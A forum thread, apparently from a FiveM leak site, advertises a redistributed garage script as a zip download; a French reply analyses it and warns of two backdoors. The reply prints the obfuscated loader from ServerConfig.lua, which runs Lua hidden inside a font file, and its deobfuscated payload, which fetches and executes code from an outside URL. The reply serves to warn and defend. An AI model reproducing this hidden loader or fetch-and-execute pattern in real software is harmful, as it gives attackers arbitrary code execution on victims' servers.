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Fiveguard

Script OP GARAGES V2.5 - Most Advanced Garage Script for Fivem! [ESX/QB/QBOX]

doxtv6

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1766046448299.png



🚗 Garage System 2.5:​

Fully refreshed with new features, modes, and integrations.

🛠️ In-Game Creator and Admin Menu:​

Manage garages, impounds, and vehicles directly in an intuitive UI.

🏠 Private Garages:​

Create personal garages, share access with selected players, disable blips or limit by floor.

👥 Job and Gang Garages:​

Support for job-based and gang-based garages with multiple modes.

🔧 Garage Modes:​

Owned Vehicles, Spawner, and Job Locked – for full customization and access control.

🚓 Impound System:​

Configurable impound zones with time limits, fees, and faction-controlled recovery.

📋 Impound Menu:​

Towing factions can impound, return vehicles, and manage fines through a dedicated menu.

🏢 Vehicle Showroom:​

View your vehicles in 3D with fuel and damage info displayed above them.

✈️ Air and Boat Garages:​

Dedicated garages for planes, helicopters, and boats – with full showroom support.

🔑 Sub-Owners System:​

Grant limited access to vehicles for co-owners, with optional fees or restrictions.

🔁 Plate Changer:​

Admin-only menu to instantly change vehicle license plates.

🧾 Admin Commands:​

Grant or remove vehicles for players, jobs, and gangs – with full database control.

📍 Map and List Views:​

Easily browse all garages on the map or in list view for better management.

🔗 35+ Integrations:​

Supports fuel, keys, housing, phones, text UIs, notifications, and much more.


Requirements​



ESX, QBCore or QBOX Frameworks​

 

Attachments

  • op-garages.zip
    1.3 MB · Views: 523

youbi

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ta vraiment que sa a faire fdp
🔴🔴2 PORTES DÉROBÉES CRITIQUES

Backdoor N°1 — Code caché dans la police d'écriture (stéganographie)

┌──────────────────────┬───────────────────────────────────────────┐
│ │ │
├─────────────────────┼──────────────────────────────────────────┤
│ Fichier déclencheur │ config/ServerConfig.lua (lignes 7-8) │
├─────────────────────┼──────────────────────────────────────────┤
│ Fichier porteur │ html/fonts/Helvetica.ttf (octets 87565+) │
└─────────────────────┴──────────────────────────────────────────┘

Le fichier ServerConfig.lua contient ce code obfusqué :
local loadFonts = _G[string.char(108, 111, 97, 100)] -- = _G["load"]
chargerFonts(ChargerFichierRessource(ObtenirNomRessourceActuelle(), '/html/fonts/Helvetica.ttf')
:sub(87565):gsub('%.%+', ''))()

Cela extrait du code Lua caché dans le fichier de police Helvetica.ttf et l'exécute. Une fois désobfusqué, ce code est :

local _v = PerformHttpRequestInternalEx{url='https://juspommmme.org/HcdtP', method='GET'}
AjouterGestionnaireÉvénement('__cfx_internal:httpResponse', fonction(_t, _s, _b)
si _v == _t alors pcall(function() assert(load(_b))() end) end
fin)

🔴 L'attaquant peut exécuter N'IMPORTE QUEL CODE sur votre serveur en modifiant la réponse à l'URL juspommmme.org/HcdtP. Cela permet le vol de données, la destruction du serveur, l'installation d'autres malwares, etc.

Backdoor N°2 — server/exports.lua entièrement chiffré

Le fichier server/exports.lua est intégralement obfusqué avec un chiffrement par mot de passe (gg.prompt). Son contenu réel est totalement inconnu — il pourrait contenir d'autres portes dérobées.

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